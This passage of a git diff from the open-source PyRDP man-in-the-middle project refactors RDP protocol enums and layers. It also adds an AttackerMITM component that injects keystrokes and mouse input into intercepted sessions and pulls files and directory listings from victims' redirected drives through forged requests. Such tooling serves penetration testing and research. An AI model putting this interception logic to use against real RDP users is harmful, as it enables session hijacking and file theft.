ScanCodeTuple(0x3C, False) # VK_F2 + F3 = ScanCodeTuple(0x3D, False) # VK_F3 + F4 = ScanCodeTuple(0x3E, False) # VK_F4 + F5 = ScanCodeTuple(0x3F, False) # VK_F5 + F6 = ScanCodeTuple(0x40, False) # VK_F6 + F7 = ScanCodeTuple(0x41, False) # VK_F7 + F8 = ScanCodeTuple(0x42, False) # VK_F8 + F9 = ScanCodeTuple(0x43, False) # VK_F9 + F10 = ScanCodeTuple(0x44, False) # VK_F10 + NUMLOCK = ScanCodeTuple(0x45, False) # VK_NUMLOCK Note: when this seems to appear in PKBDLLHOOKSTRUCT it means Pause which must be sent as Ctrl + NumLock + SCROLLLOCK = ScanCodeTuple(0x46, False) # VK_SCROLL 'Scroll Lock', JP OEM_SCROLL + NUMPAD7 = ScanCodeTuple(0x47, False) # VK_NUMPAD7 + NUMPAD8 = ScanCodeTuple(0x48, False) # VK_NUMPAD8 + NUMPAD9 = ScanCodeTuple(0x49, False) # VK_NUMPAD9 + SUBTRACT = ScanCodeTuple(0x4A, False) # VK_SUBTRACT + NUMPAD4 = ScanCodeTuple(0x4B, False) # VK_NUMPAD4 + NUMPAD5 = ScanCodeTuple(0x4C, False) # VK_NUMPAD5 + NUMPAD6 = ScanCodeTuple(0x4D, False) # VK_NUMPAD6 + ADD = ScanCodeTuple(0x4E, False) # VK_ADD + NUMPAD1 = ScanCodeTuple(0x4F, False) # VK_NUMPAD1 + NUMPAD2 = ScanCodeTuple(0x50, False) # VK_NUMPAD2 + NUMPAD3 = ScanCodeTuple(0x51, False) # VK_NUMPAD3 + NUMPAD0 = ScanCodeTuple(0x52, False) # VK_NUMPAD0 + DECIMAL = ScanCodeTuple(0x53, False) # VK_DECIMAL Numerical, '.' on US + SYSREQ = ScanCodeTuple(0x54, False) # Sys Req + OEM_102 = ScanCodeTuple(0x56, False) # VK_OEM_102 Lower left '\' on US + F11 = ScanCodeTuple(0x57, False) # VK_F11 + F12 = ScanCodeTuple(0x58, False) # VK_F12 + SLEEP = ScanCodeTuple(0x5F, False) # VK_SLEEP OEM_8 on FR (undocumented?) + ZOOM = ScanCodeTuple(0x62, False) # VK_ZOOM (undocumented?) + HELP = ScanCodeTuple(0x63, False) # VK_HELP (undocumented?) + F13 = ScanCodeTuple(0x64, False) # VK_F13 JP agree, should 0x7d according to ms894073 + F14 = ScanCodeTuple(0x65, False) # VK_F14 + F15 = ScanCodeTuple(0x66, False) # VK_F15 + F16 = ScanCodeTuple(0x67, False) # VK_F16 + F17 = ScanCodeTuple(0x68, False) # VK_F17 + F18 = ScanCodeTuple(0x69, False) # VK_F18 + F19 = ScanCodeTuple(0x6A, False) # VK_F19 + F20 = ScanCodeTuple(0x6B, False) # VK_F20 + F21 = ScanCodeTuple(0x6C, False) # VK_F21 + F22 = ScanCodeTuple(0x6D, False) # VK_F22 + F23 = ScanCodeTuple(0x6E, False) # VK_F23 JP agree + F24 = ScanCodeTuple(0x6F, False) # VK_F24 0x87 according to ms894073 + HIRAGANA = ScanCodeTuple(0x70, False) # JP DBE_HIRAGANA + HANJA_KANJI = ScanCodeTuple(0x71, False) # VK_HANJA / VK_KANJI (undocumented?) + KANA_HANGUL = ScanCodeTuple(0x72, False) # VK_KANA / VK_HANGUL (undocumented?) + ABNT_C1 = ScanCodeTuple(0x73, False) # VK_ABNT_C1 JP OEM_102 + F24_JP = ScanCodeTuple(0x76, False) # JP F24 + CONVERT_JP = ScanCodeTuple(0x79, False) # JP VK_CONVERT + NONCONVERT_JP = ScanCodeTuple(0x7B, False) # JP VK_NONCONVERT + TAB_JP = ScanCodeTuple(0x7C, False) # JP TAB + BACKSLASH_JP = ScanCodeTuple(0x7D, False) # JP OEM_5 ('\') + ABNT_C2 = ScanCodeTuple(0x7E, False) # VK_ABNT_C2, JP + HANJA = ScanCodeTuple(0x71, False) # KR VK_HANJA + HANGUL = ScanCodeTuple(0x72, False) # KR VK_HANGUL + RETURN_KP = ScanCodeTuple(0x1C, True) # not RETURN Numerical Enter + RCONTROL = ScanCodeTuple(0x1D, True) # VK_RCONTROL + DIVIDE = ScanCodeTuple(0x35, True) # VK_DIVIDE Numerical + PRINTSCREEN = ScanCodeTuple(0x37, True) # VK_EXECUTE/VK_PRINT/VK_SNAPSHOT Print Screen + RMENU = ScanCodeTuple(0x38, True) # VK_RMENU Right 'Alt' / 'Alt Gr' + PAUSE = ScanCodeTuple(0x46, True) # VK_PAUSE Pause / Break (Slightly special handling) + HOME = ScanCodeTuple(0x47, True) # VK_HOME + UP = ScanCodeTuple(0x48, True) # VK_UP + PRIOR = ScanCodeTuple(0x49, True) # VK_PRIOR 'Page Up' + LEFT = ScanCodeTuple(0x4B, True) # VK_LEFT + RIGHT = ScanCodeTuple(0x4D, True) # VK_RIGHT + END = ScanCodeTuple(0x4F, True) # VK_END + DOWN = ScanCodeTuple(0x50, True) # VK_DOWN + NEXT = ScanCodeTuple(0x51, True) # VK_NEXT 'Page Down' + INSERT = ScanCodeTuple(0x52, True) # VK_INSERT + DELETE = ScanCodeTuple(0x53, True) # VK_DELETE + NULL = ScanCodeTuple(0x54, True) # <00> + HELP2 = ScanCodeTuple(0x56, True) # Help - documented, different from VK_HELP + LWIN = ScanCodeTuple(0x5B, True) # VK_LWIN + RWIN = ScanCodeTuple(0x5C, True) # VK_RWIN + APPS = ScanCodeTuple(0x5D, True) # VK_APPS Application + POWER_JP = ScanCodeTuple(0x5E, True) # JP POWER + SLEEP_JP = ScanCodeTuple(0x5F, True) # JP SLEEP + NUMLOCK_EXTENDED = ScanCodeTuple(0x45, True) # should be NUMLOCK + RSHIFT_EXTENDED = ScanCodeTuple(0x36, True) # should be RSHIFT + VOLUME_MUTE = ScanCodeTuple(0x20, True) # VK_VOLUME_MUTE + VOLUME_DOWN = ScanCodeTuple(0x2E, True) # VK_VOLUME_DOWN + VOLUME_UP = ScanCodeTuple(0x30, True) # VK_VOLUME_UP + MEDIA_NEXT_TRACK = ScanCodeTuple(0x19, True) # VK_MEDIA_NEXT_TRACK + MEDIA_PREV_TRACK = ScanCodeTuple(0x10, True) # VK_MEDIA_PREV_TRACK + MEDIA_STOP = ScanCodeTuple(0x24, True) # VK_MEDIA_MEDIA_STOP + MEDIA_PLAY_PAUSE = ScanCodeTuple(0x22, True) # VK_MEDIA_MEDIA_PLAY_PAUSE + BROWSER_BACK = ScanCodeTuple(0x6A, True) # VK_BROWSER_BACK + BROWSER_FORWARD = ScanCodeTuple(0x69, True) # VK_BROWSER_FORWARD + BROWSER_REFRESH = ScanCodeTuple(0x67, True) # VK_BROWSER_REFRESH + BROWSER_STOP = ScanCodeTuple(0x68, True) # VK_BROWSER_STOP + BROWSER_SEARCH = ScanCodeTuple(0x65, True) # VK_BROWSER_SEARCH + BROWSER_FAVORITES = ScanCodeTuple(0x66, True) # VK_BROWSER_FAVORITES + BROWSER_HOME = ScanCodeTuple(0x32, True) # VK_BROWSER_HOME + LAUNCH_MAIL = ScanCodeTuple(0x6C, True) # VK_LAUNCH_MAIL \ No newline at end of file diff --git a/pyrdp/enum/virtual_channel/__init__.py b/pyrdp/enum/virtual_channel/__init__.py index e69de29bb..3b1dd6904 100644 --- a/pyrdp/enum/virtual_channel/__init__.py +++ b/pyrdp/enum/virtual_channel/__init__.py @@ -0,0 +1,5 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# \ No newline at end of file diff --git a/pyrdp/enum/virtual_channel/device_redirection.py b/pyrdp/enum/virtual_channel/device_redirection.py index 1a0791d0d..a1c64f8a0 100644 --- a/pyrdp/enum/virtual_channel/device_redirection.py +++ b/pyrdp/enum/virtual_channel/device_redirection.py @@ -4,7 +4,7 @@ # Licensed under the GPLv3 or later. # -from enum import IntEnum +from enum import IntEnum, IntFlag class DeviceRedirectionComponent(IntEnum): @@ -70,33 +70,6 @@ class IOOperationSeverity(IntEnum): STATUS_SEVERITY_ERROR = 0x3 -class FileAccess(IntEnum): - """ - https://msdn.microsoft.com/en-us/library/cc246802.aspx - """ - - FILE_READ_DATA = 0x00000001 - FILE_WRITE_DATA = 0x00000002 - FILE_APPEND_DATA = 0x00000004 - FILE_READ_EA = 0x00000008 - FILE_WRITE_EA = 0x00000010 - FILE_DELETE_CHILD = 0x00000040 - FILE_EXECUTE = 0x00000020 - FILE_READ_ATTRIBUTES = 0x00000080 - FILE_WRITE_ATTRIBUTES = 0x00000100 - DELETE = 0x00010000 - READ_CONTROL = 0x00020000 - WRITE_DAC = 0x00040000 - WRITE_OWNER = 0x00080000 - SYNCHRONIZE = 0x00100000 - ACCESS_SYSTEM_SECURITY = 0x01000000 - MAXIMUM_ALLOWED = 0x02000000 - GENERIC_ALL = 0x10000000 - GENERIC_EXECUTE = 0x20000000 - GENERIC_WRITE = 0x40000000 - GENERIC_READ = 0x80000000 - - class CreateOption(IntEnum): FILE_DIRECTORY_FILE = 0x00000001 FILE_WRITE_THROUGH = 0x00000002 @@ -174,3 +147,118 @@ class ExtendedPDUFlags(IntEnum): RDPDR_DEVICE_REMOVE_PDUS = 0x00000001 RDPDR_CLIENT_DISPLAY_NAME_PDU = 0x00000002 RDPDR_USER_LOGGEDON_PDU = 0x00000004 + + +class FileSystemInformationClass(IntEnum): + FileDirectoryInformation = 0x00000001 + FileFullDirectoryInformation = 0x00000002 + FileBothDirectoryInformation = 0x00000003 + FileNamesInformation = 0x0000000C + + +class FileAttributes(IntFlag): + FILE_ATTRIBUTE_NONE = 0x00000000 + FILE_ATTRIBUTE_ARCHIVE = 0x00000020 + FILE_ATTRIBUTE_COMPRESSED = 0x00000800 + FILE_ATTRIBUTE_DIRECTORY = 0x00000010 + FILE_ATTRIBUTE_ENCRYPTED = 0x00004000 + FILE_ATTRIBUTE_HIDDEN = 0x00000002 + FILE_ATTRIBUTE_NORMAL = 0x00000080 + FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000 + FILE_ATTRIBUTE_OFFLINE = 0x00001000 + FILE_ATTRIBUTE_READONLY = 0x00000001 + FILE_ATTRIBUTE_REPARSE_POINT = 0x00000400 + FILE_ATTRIBUTE_SPARSE_FILE = 0x00000200 + FILE_ATTRIBUTE_SYSTEM = 0x00000004 + FILE_ATTRIBUTE_TEMPORARY = 0x00000100 + FILE_ATTRIBUTE_INTEGRITY_STREAM = 0x00008000 + FILE_ATTRIBUTE_NO_SCRUB_DATA = 0x00020000 + + +class FileAccessMask(IntFlag): + """ + https://msdn.microsoft.com/en-us/library/cc246802.aspx + """ + + FILE_READ_DATA = 0x00000001 + FILE_WRITE_DATA = 0x00000002 + FILE_APPEND_DATA = 0x00000004 + FILE_READ_EA = 0x00000008 + FILE_WRITE_EA = 0x00000010 + FILE_DELETE_CHILD = 0x00000040 + FILE_EXECUTE = 0x00000020 + FILE_READ_ATTRIBUTES = 0x00000080 + FILE_WRITE_ATTRIBUTES = 0x00000100 + DELETE = 0x00010000 + READ_CONTROL = 0x00020000 + WRITE_DAC = 0x00040000 + WRITE_OWNER = 0x00080000 + SYNCHRONIZE = 0x00100000 + ACCESS_SYSTEM_SECURITY = 0x01000000 + MAXIMUM_ALLOWED = 0x02000000 + GENERIC_ALL = 0x10000000 + GENERIC_EXECUTE = 0x20000000 + GENERIC_WRITE = 0x40000000 + GENERIC_READ = 0x80000000 + + +class DirectoryAccessMask(IntFlag): + FILE_LIST_DIRECTORY = 0x00000001 + FILE_ADD_FILE = 0x00000002 + FILE_ADD_SUBDIRECTORY = 0x00000004 + FILE_READ_EA = 0x00000008 + FILE_WRITE_EA = 0x00000010 + FILE_TRAVERSE = 0x00000020 + FILE_DELETE_CHILD = 0x00000040 + FILE_READ_ATTRIBUTES = 0x00000080 + FILE_WRITE_ATTRIBUTES = 0x00000100 + DELETE = 0x00010000 + READ_CONTROL = 0x00020000 + WRITE_DAC = 0x00040000 + WRITE_OWNER = 0x00080000 + SYNCHRONIZE = 0x00100000 + ACCESS_SYSTEM_SECURITY = 0x01000000 + MAXIMUM_ALLOWED = 0x02000000 + GENERIC_ALL = 0x10000000 + GENERIC_EXECUTE = 0x20000000 + GENERIC_WRITE = 0x40000000 + GENERIC_READ = 0x80000000 + + +class FileShareAccess(IntFlag): + FILE_SHARE_READ = 0x00000001 + FILE_SHARE_WRITE = 0x00000002 + FILE_SHARE_DELETE = 0x00000004 + + +class FileCreateDisposition(IntEnum): + FILE_SUPERSEDE = 0x00000000 + FILE_OPEN = 0x00000001 + FILE_CREATE = 0x00000002 + FILE_OPEN_IF = 0x00000003 + FILE_OVERWRITE = 0x00000004 + FILE_OVERWRITE_IF = 0x00000005 + + +class FileCreateOptions(IntFlag): + FILE_DIRECTORY_FILE = 0x00000001 + FILE_WRITE_THROUGH = 0x00000002 + FILE_SEQUENTIAL_ONLY = 0x00000004 + FILE_NO_INTERMEDIATE_BUFFERING = 0x00000008 + FILE_SYNCHRONOUS_IO_ALERT = 0x00000010 + FILE_SYNCHRONOUS_IO_NONALERT = 0x00000020 + FILE_NON_DIRECTORY_FILE = 0x00000040 + FILE_COMPLETE_IF_OPLOCKED = 0x00000100 + FILE_NO_EA_KNOWLEDGE = 0x00000200 + FILE_RANDOM_ACCESS = 0x00000800 + FILE_DELETE_ON_CLOSE = 0x00001000 + FILE_OPEN_BY_FILE_ID = 0x00002000 + FILE_OPEN_FOR_BACKUP_INTENT = 0x00004000 + FILE_NO_COMPRESSION = 0x00008000 + FILE_OPEN_REMOTE_INSTANCE = 0x00000400 + FILE_OPEN_REQUIRING_OPLOCK = 0x00010000 + FILE_DISALLOW_EXCLUSIVE = 0x00020000 + FILE_RESERVE_OPFILTER = 0x00100000 + FILE_OPEN_REPARSE_POINT = 0x00200000 + FILE_OPEN_NO_RECALL = 0x00400000 + FILE_OPEN_FOR_FREE_SPACE_QUERY = 0x00800000 \ No newline at end of file diff --git a/pyrdp/layer/__init__.py b/pyrdp/layer/__init__.py index 733b675aa..4745fe2b0 100644 --- a/pyrdp/layer/__init__.py +++ b/pyrdp/layer/__init__.py @@ -5,19 +5,18 @@ # from pyrdp.layer.buffered import BufferedLayer -from pyrdp.layer.layer import Layer, LayerChainItem, IntermediateLayer, LayerObserver, LayerRoutedObserver, LayerStrictRoutedObserver +from pyrdp.layer.layer import IntermediateLayer, Layer, LayerChainItem, LayerObserver, LayerRoutedObserver, \ + LayerStrictRoutedObserver from pyrdp.layer.mcs import MCSLayer, MCSObserver +from pyrdp.layer.player import PlayerLayer from pyrdp.layer.raw import RawLayer -from pyrdp.layer.recording import PlayerMessageLayer, PlayerMessageObserver -from pyrdp.layer.segmentation import SegmentationLayer, SegmentationObserver -from pyrdp.layer.tcp import TCPObserver, TwistedTCPLayer, AsyncIOTCPLayer -from pyrdp.layer.tpkt import TPKTLayer -from pyrdp.layer.x224 import X224Observer, X224Layer - -from pyrdp.layer.rdp.slowpath import SlowPathObserver, SlowPathLayer from pyrdp.layer.rdp.fastpath import FastPathLayer, FastPathObserver -from pyrdp.layer.rdp.security import SecurityObserver, SecurityLayer, TLSSecurityLayer - +from pyrdp.layer.rdp.security import SecurityLayer, SecurityObserver, TLSSecurityLayer +from pyrdp.layer.rdp.slowpath import SlowPathLayer, SlowPathObserver from pyrdp.layer.rdp.virtual_channel.clipboard import ClipboardLayer from pyrdp.layer.rdp.virtual_channel.device_redirection import DeviceRedirectionLayer from pyrdp.layer.rdp.virtual_channel.virtual_channel import VirtualChannelLayer +from pyrdp.layer.segmentation import SegmentationLayer, SegmentationObserver +from pyrdp.layer.tcp import AsyncIOTCPLayer, TCPObserver, TwistedTCPLayer +from pyrdp.layer.tpkt import TPKTLayer +from pyrdp.layer.x224 import X224Layer, X224Observer diff --git a/pyrdp/layer/player.py b/pyrdp/layer/player.py new file mode 100644 index 000000000..e19469bd2 --- /dev/null +++ b/pyrdp/layer/player.py @@ -0,0 +1,29 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2018 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +import time + +from pyrdp.core import ObservedBy +from pyrdp.enum import PlayerPDUType +from pyrdp.layer import BufferedLayer, LayerRoutedObserver +from pyrdp.parser import PlayerParser +from pyrdp.pdu import PlayerPDU + +class PlayerLayer(BufferedLayer): + """ + Layer to manage the encapsulation of Player metadata such as event timestamp and + event type/origin (input, output). + """ + + def __init__(self, parser: PlayerParser = PlayerParser()): + super().__init__(parser) + + def sendMessage(self, data: bytes, messageType: PlayerPDUType, timeStamp: int): + pdu = PlayerPDU(messageType, timeStamp, data) + self.sendPDU(pdu) + + def getCurrentTimeStamp(self) -> int: + return int(time.time() * 1000) \ No newline at end of file diff --git a/pyrdp/layer/rdp/__init__.py b/pyrdp/layer/rdp/__init__.py index e69de29bb..3b1dd6904 100644 --- a/pyrdp/layer/rdp/__init__.py +++ b/pyrdp/layer/rdp/__init__.py @@ -0,0 +1,5 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# \ No newline at end of file diff --git a/pyrdp/layer/rdp/virtual_channel/__init__.py b/pyrdp/layer/rdp/virtual_channel/__init__.py index e69de29bb..3b1dd6904 100644 --- a/pyrdp/layer/rdp/virtual_channel/__init__.py +++ b/pyrdp/layer/rdp/virtual_channel/__init__.py @@ -0,0 +1,5 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# \ No newline at end of file diff --git a/pyrdp/layer/recording.py b/pyrdp/layer/recording.py deleted file mode 100644 index 945d664e6..000000000 --- a/pyrdp/layer/recording.py +++ /dev/null @@ -1,62 +0,0 @@ -# -# This file is part of the PyRDP project. -# Copyright (C) 2018 GoSecure Inc. -# Licensed under the GPLv3 or later. -# - -from pyrdp.core import ObservedBy -from pyrdp.enum import PlayerMessageType -from pyrdp.layer import BufferedLayer -from pyrdp.layer.layer import Layer, LayerRoutedObserver -from pyrdp.parser.recording import PlayerMessageParser -from pyrdp.pdu import PlayerMessagePDU - - -class PlayerMessageObserver(LayerRoutedObserver): - def __init__(self, **kwargs): - LayerRoutedObserver.__init__(self, { - PlayerMessageType.CONNECTION_CLOSE: "onConnectionClose", - PlayerMessageType.CLIENT_INFO: "onClientInfo", - PlayerMessageType.SLOW_PATH_PDU: "onSlowPathPDU", - PlayerMessageType.FAST_PATH_INPUT: "onInput", - PlayerMessageType.FAST_PATH_OUTPUT: "onOutput", - PlayerMessageType.CLIPBOARD_DATA: "onClipboardData", - PlayerMessageType.CLIENT_DATA: "onClientData" - }, **kwargs) - - def onConnectionClose(self, pdu: PlayerMessagePDU): - raise NotImplementedError() - - def onClientInfo(self, pdu: PlayerMessagePDU): - raise NotImplementedError() - - def onSlowPathPDU(self, pdu: PlayerMessagePDU): - raise NotImplementedError() - - def onInput(self, pdu: PlayerMessagePDU): - raise NotImplementedError() - - def onOutput(self, pdu: PlayerMessagePDU): - raise NotImplementedError() - - def onClipboardData(self, pdu: PlayerMessagePDU): - raise NotImplementedError() - - def onClientData(self, pdu: PlayerMessagePDU): - raise NotImplementedError() - - -@ObservedBy(PlayerMessageObserver) -class PlayerMessageLayer(BufferedLayer): - """ - Layer to manage the encapsulation of Player metadata such as event timestamp and - event type/origin (input, output). - """ - - def __init__(self, parser: PlayerMessageParser = PlayerMessageParser()): - super().__init__(parser) - - def sendMessage(self, data: bytes, messageType: PlayerMessageType, timeStamp: int): - pdu = PlayerMessagePDU(messageType, timeStamp, data) - self.sendPDU(pdu) - diff --git a/pyrdp/logging/adapters.py b/pyrdp/logging/adapters.py index 05c92fcbf..b1c49d5ee 100644 --- a/pyrdp/logging/adapters.py +++ b/pyrdp/logging/adapters.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + import logging diff --git a/pyrdp/logging/handlers.py b/pyrdp/logging/handlers.py index 0ec8b112b..0b13af81b 100644 --- a/pyrdp/logging/handlers.py +++ b/pyrdp/logging/handlers.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + import logging import notify2 diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py new file mode 100644 index 000000000..1b45fed3d --- /dev/null +++ b/pyrdp/mitm/AttackerMITM.py @@ -0,0 +1,258 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# +from collections import defaultdict +from logging import LoggerAdapter +from pathlib import Path +from typing import Dict, Optional + +from pyrdp.enum import FastPathInputType, FastPathOutputType, MouseButton, PlayerPDUType, PointerFlag, ScanCodeTuple +from pyrdp.layer import FastPathLayer, PlayerLayer +from pyrdp.mitm.DeviceRedirectionMITM import DeviceRedirectionMITM, DeviceRedirectionMITMObserver +from pyrdp.mitm.MITMRecorder import MITMRecorder +from pyrdp.mitm.state import RDPMITMState +from pyrdp.parser import BitmapParser +from pyrdp.pdu import BitmapUpdateData, DeviceAnnounce, FastPathBitmapEvent, FastPathInputEvent, FastPathMouseEvent, \ + FastPathOutputEvent, FastPathPDU, FastPathScanCodeEvent, FastPathUnicodeEvent, PlayerBitmapPDU, \ + PlayerDeviceMappingPDU, PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU, PlayerFileDescription, \ + PlayerFileDownloadCompletePDU, PlayerFileDownloadRequestPDU, PlayerFileDownloadResponsePDU, \ + PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ + PlayerPDU, PlayerTextPDU + + +class AttackerMITM(DeviceRedirectionMITMObserver): + """ + MITM component for commands coming from the player. The job of this component is just to adapt the format of events + received to the format expected by RDP. + """ + + def __init__(self, client: FastPathLayer, server: FastPathLayer, attacker: PlayerLayer, log: LoggerAdapter, state: RDPMITMState, recorder: MITMRecorder): + """ + :param client: fast-path layer for the client side + :param server: fast-path layer for the server side + :param attacker: player layer for the attacker side + :param log: logger for this component + :param log: state of the MITM + :param recorder: recorder for this connection + """ + super().__init__() + + self.client = client + self.server = server + self.attacker = attacker + self.log = log + self.state = state + self.recorder = recorder + self.devices: Dict[int, DeviceAnnounce] = {} + self.deviceRedirection: Optional[DeviceRedirectionMITM] = None + self.fileDownloadRequests: Dict[int, Path] = {} + self.directoryListingRequests: Dict[int, Path] = {} + self.directoryListingLists = defaultdict(list) + + self.attacker.createObserver( + onPDUReceived = self.onPDUReceived, + ) + + self.handlers = { + PlayerPDUType.MOUSE_MOVE: self.handleMouseMove, + PlayerPDUType.MOUSE_BUTTON: self.handleMouseButton, + PlayerPDUType.MOUSE_WHEEL: self.handleMouseWheel, + PlayerPDUType.KEYBOARD: self.handleKeyboard, + PlayerPDUType.TEXT: self.handleText, + PlayerPDUType.FORWARDING_STATE: self.handleForwardingState, + PlayerPDUType.BITMAP: self.handleBitmap, + PlayerPDUType.FILE_DOWNLOAD_REQUEST: self.handleFileDownloadRequest, + PlayerPDUType.DIRECTORY_LISTING_REQUEST: self.handleDirectoryListingRequest, + } + + def setDeviceRedirectionComponent(self, deviceRedirection: DeviceRedirectionMITM): + if self.deviceRedirection: + self.deviceRedirection.removeObserver(self) + + if deviceRedirection: + deviceRedirection.addObserver(self) + + self.deviceRedirection = deviceRedirection + + + def onPDUReceived(self, pdu: PlayerPDU): + if pdu.header in self.handlers: + self.handlers[pdu.header](pdu) + + + def sendInputEvents(self, events: [FastPathInputEvent]): + pdu = FastPathPDU(0, events) + self.recorder.record(pdu, PlayerPDUType.FAST_PATH_INPUT, True) + self.server.sendPDU(pdu) + + def sendOutputEvents(self, events: [FastPathOutputEvent]): + pdu = FastPathPDU(0, events) + self.client.sendPDU(pdu) + + def sendKeys(self, keys: [ScanCodeTuple]): + for released in [False, True]: + for key in keys: + self.handleKeyboard(PlayerKeyboardPDU(0, key.code, released, key.extended)) + + def sendText(self, text: str): + for c in text: + for released in [False, True]: + self.handleText(PlayerTextPDU(0, c, released)) + + + def handleMouseMove(self, pdu: PlayerMouseMovePDU): + eventHeader = FastPathInputType.FASTPATH_INPUT_EVENT_MOUSE << 5 + flags = PointerFlag.PTRFLAGS_MOVE + x = pdu.x + y = pdu.y + + event = FastPathMouseEvent(eventHeader, flags, x, y) + self.sendInputEvents([event]) + + + def handleMouseButton(self, pdu: PlayerMouseButtonPDU): + mapping = { + MouseButton.LEFT_BUTTON: PointerFlag.PTRFLAGS_BUTTON1, + MouseButton.RIGHT_BUTTON: PointerFlag.PTRFLAGS_BUTTON2, + MouseButton.MIDDLE_BUTTON: PointerFlag.PTRFLAGS_BUTTON3, + } + + if pdu.button not in mapping: + return + + eventHeader = FastPathInputType.FASTPATH_INPUT_EVENT_MOUSE << 5 + flags = mapping[pdu.button] | (PointerFlag.PTRFLAGS_DOWN if pdu.pressed else 0) + x = pdu.x + y = pdu.y + + event = FastPathMouseEvent(eventHeader, flags, x, y) + self.sendInputEvents([event]) + + + def handleMouseWheel(self, pdu: PlayerMouseWheelPDU): + eventHeader = FastPathInputType.FASTPATH_INPUT_EVENT_MOUSE << 5 + flags = PointerFlag.PTRFLAGS_WHEEL + x = pdu.x + y = pdu.y + + if pdu.delta < 0: + flags |= PointerFlag.PTRFLAGS_WHEEL_NEGATIVE + + if pdu.horizontal: + flags |= PointerFlag.PTRFLAGS_HWHEEL + + flags |= abs(pdu.delta) & PointerFlag.WheelRotationMask + + event = FastPathMouseEvent(eventHeader, flags, x, y) + self.sendInputEvents([event]) + + + def handleKeyboard(self, pdu: PlayerKeyboardPDU): + event = FastPathScanCodeEvent(2 if pdu.extended else 0, pdu.code, pdu.released) + self.sendInputEvents([event]) + + def handleText(self, pdu: PlayerTextPDU): + event = FastPathUnicodeEvent(pdu.character, pdu.released) + self.sendInputEvents([event]) + + + def handleForwardingState(self, pdu: PlayerForwardingStatePDU): + self.state.forwardInput = pdu.forwardInput + self.state.forwardOutput = pdu.forwardOutput + + + def handleBitmap(self, pdu: PlayerBitmapPDU): + bpp = 32 + flags = 0 + + # RDP expects bitmap data in bottom-up, left-to-right + # See: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/84a3d4d2-5523-4e49-9a48-33952c559485 + for y in range(pdu.height): + pixels = pdu.pixels[y * pdu.width * 4 : (y + 1) * pdu.width * 4] + bitmap = BitmapUpdateData(0, y, pdu.width, y + 1, pdu.width, 1, bpp, flags, pixels) + bitmapData = BitmapParser().writeBitmapUpdateData([bitmap]) + event = FastPathBitmapEvent(FastPathOutputType.FASTPATH_UPDATETYPE_BITMAP, None, [], bitmapData) + self.sendOutputEvents([event]) + + + def onDeviceAnnounce(self, device: DeviceAnnounce): + self.devices[device.deviceID] = device + + pdu = PlayerDeviceMappingPDU(self.attacker.getCurrentTimeStamp(), device.deviceID, device.deviceType, device.preferredDOSName) + self.recorder.record(pdu, pdu.header) + + + def handleFileDownloadRequest(self, pdu: PlayerFileDownloadRequestPDU): + path = pdu.path.replace("/", "\\") + + requestID = self.deviceRedirection.sendForgedFileRead(pdu.deviceID, path) + self.fileDownloadRequests[requestID] = path + + def onFileDownloadResult(self, deviceID: int, requestID: int, path: str, offset: int, data: bytes): + if requestID not in self.fileDownloadRequests: + return + + pdu = PlayerFileDownloadResponsePDU( + self.attacker.getCurrentTimeStamp(), + deviceID, + path.replace("\\", "/"), + offset, + data + ) + + self.attacker.sendPDU(pdu) + + def onFileDownloadComplete(self, deviceID: int, requestID: int, path: str, error: int): + pdu = PlayerFileDownloadCompletePDU( + self.attacker.getCurrentTimeStamp(), + deviceID, + path.replace("\\", "/"), + error + ) + + self.attacker.sendPDU(pdu) + self.fileDownloadRequests.pop(requestID, None) + + + def handleDirectoryListingRequest(self, pdu: PlayerDirectoryListingRequestPDU): + if self.deviceRedirection is None: + self.log.error("A directory listing request was received from the player, but the channel was not initialized.") + return + + listingPath = str(Path(pdu.path).absolute()).replace("/", "\\") + + if not listingPath.endswith("*"): + if not listingPath.endswith("\\"): + listingPath += "\\" + + listingPath += "*" + + requestID = self.deviceRedirection.sendForgedDirectoryListing(pdu.deviceID, listingPath) + self.directoryListingRequests[requestID] = Path(pdu.path).absolute() + + def onDirectoryListingResult(self, deviceID: int, requestID: int, fileName: str, isDirectory: bool): + if requestID not in self.directoryListingRequests: + return + + path = self.directoryListingRequests[requestID] + filePath = path / fileName + + description = PlayerFileDescription(str(filePath), isDirectory) + directoryList = self.directoryListingLists[requestID] + directoryList.append(description) + + if len(directoryList) == 10: + self.sendDirectoryList(requestID, deviceID) + directoryList.clear() + + def onDirectoryListingComplete(self, deviceID: int, requestID: int): + self.sendDirectoryList(requestID, deviceID) + self.directoryListingRequests.pop(requestID, None) + self.directoryListingLists.pop(requestID, None) + + def sendDirectoryList(self, requestID: int, deviceID: int): + directoryList = self.directoryListingLists[requestID] + pdu = PlayerDirectoryListingResponsePDU(self.attacker.getCurrentTimeStamp(), deviceID, directoryList) + self.attacker.sendPDU(pdu) diff --git a/pyrdp/mitm/ClipboardMITM.py b/pyrdp/mitm/ClipboardMITM.py index bc91b3dcf..5dbc6d8f5 100644 --- a/pyrdp/mitm/ClipboardMITM.py +++ b/pyrdp/mitm/ClipboardMITM.py @@ -7,7 +7,7 @@ from logging import LoggerAdapter from pyrdp.core import decodeUTF16LE -from pyrdp.enum import ClipboardFormatNumber, ClipboardMessageFlags, ClipboardMessageType, PlayerMessageType +from pyrdp.enum import ClipboardFormatNumber, ClipboardMessageFlags, ClipboardMessageType, PlayerPDUType from pyrdp.layer import ClipboardLayer from pyrdp.pdu import ClipboardPDU, FormatDataRequestPDU, FormatDataResponsePDU from pyrdp.recording import 